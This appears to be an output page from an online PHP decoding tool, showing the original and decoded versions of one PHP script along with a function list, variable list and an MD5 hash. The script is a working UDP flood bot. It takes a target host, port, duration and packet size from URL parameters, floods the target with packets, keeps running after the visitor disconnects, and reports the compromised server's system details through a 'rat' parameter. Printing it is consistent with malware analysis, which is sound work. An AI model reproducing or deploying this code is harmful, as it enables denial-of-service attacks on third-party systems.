Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

set_time_limit(999999); $host = $_GET['host']; $port = $_GET['port']; $exec_time = $_GE..

Decoded Output download

<?  set_time_limit(999999); 
$host = $_GET['host']; 
$port = $_GET['port']; 
$exec_time = $_GET['time']; 
$Sendlen = $_GET['len']; 
ignore_user_abort(True); 
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0) 
{ 
	if (StrLen($_GET['rat'])<>0) 
	{ 
		echo php_uname(); 
		exit; 
	} 
	exit; 
} 
 
for($i=0; $i < $Sendlen; $i++) 
{ 
	$out .= "A"; 
} 
 
$max_time = time() + $exec_time; 
while(1) 
{ 
    if(time() > $max_time) 
	{ 
        break; 
    } 
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 
    if($fp) 
	{ 
		fwrite($fp, $out); 
		fclose($fp); 
    } 
} 
 ?>

Did this file decode correctly?

Original Code

set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = $_GET['len'];
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0)
{
	if (StrLen($_GET['rat'])<>0)
	{
		echo php_uname();
		exit;
	}
	exit;
}

for($i=0; $i < $Sendlen; $i++)
{
	$out .= "A";
}

$max_time = time() + $exec_time;
while(1)
{
    if(time() > $max_time)
	{
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if($fp)
	{
		fwrite($fp, $out);
		fclose($fp);
    }
}

Function Calls

set_time_limit 1

Variables

$host None
$port None
$Sendlen None
$exec_time None

Stats

MD5 afc63ddb88ccd45d87923e282ecfd3ae
Eval Count 0
Decode Time 85 ms